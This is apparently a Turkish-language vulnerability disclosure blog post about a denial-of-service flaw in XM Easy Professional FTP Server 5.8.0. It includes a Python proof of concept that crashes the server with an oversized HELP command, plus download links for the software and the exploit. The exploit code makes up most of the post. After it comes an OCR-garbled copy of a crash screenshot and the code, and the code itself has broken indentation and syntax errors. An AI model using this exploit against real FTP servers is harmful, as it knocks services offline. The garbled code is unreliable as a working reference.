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Zafiyetten kisaca bahsetmek gerekirse ftp sunucusuna basariyla giris
yapildiktan sonra “HELP AAA.. (4074 tane)” komutunun gonderilmesi sonucunda
ftp sunucusu cOkmektedir. Bu zafiyeti istismar edebilmek icin ftp sunucusu
uzerinde gecerli bir hesabinizin olmasi gerekmektedir.

Not: Bu slirimde baska glivenlik aciklarininda olmasina ragmen Ekim ayindan bu
yana dek strimde herhangi bir degisikligin olmamasi nedeniyle liretici
firmanin aksiyon alma sliresinin gec¢ oldugunu g6z oninde bulundurarak yanit
beklemeden yayinlamayi tercih ettim.

Download: XM Easy Professional FTP Server 5.8.0

POC Code:

# XM Easy Professional FTP Server 5.8.0

# Denial of Service Vulnerability

# Note: FTP account is required for exploitation
# http://www.mertsarica.com

from ftplib import *
import sys
import ftplib

try:

ftp = FTP('localhost') # connect to host, default port
except:

print "Connection error"

sys.exit(1)

try:
ftp.login() # user anonymous, passwd anonymous@


https://www.mertsarica.com/xm-easy-professional-ftp-server-5-8-0-denial-of-service-vulnerability/
https://www.mertsarica.com/xm-easy-professional-ftp-server-5-8-0-denial-of-service-vulnerability/
https://www.mertsarica.com/xm-easy-professional-ftp-server-5-8-0-denial-of-service-vulnerability/
http://www.dxm2008.com/data/ftpserversetup.exe
http://www.mertsarica.com/codes/xm_dos.py

except:
print "Login failed"
sys.exit(1)

packet = "HELP " + "MS" * 2037 # magic packet

try:

ftp.sendcmd(packet)

ftp.quit()

except ftplib.all errors, error:

print("Very good, young padawan, but you still have much to learn...")
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For more information about this error, click here,

ftplib ftpserver.exe has encountered a problem and needs to D=
close. We are sony for the inconvenience. =
ftp = FTP('localhost') # If you were in the middle of samething, the information you were waorking on

paclket = T"HELF "™ + "M3™ * 2037 # magic packet

frtp.sendoemd (packet)
ftp.gquit ()
ftplib.all errors, Error:
[("Very good padawan...™)

C:~Documents and Settings“AdministratorsDesktop>xm_dos.py
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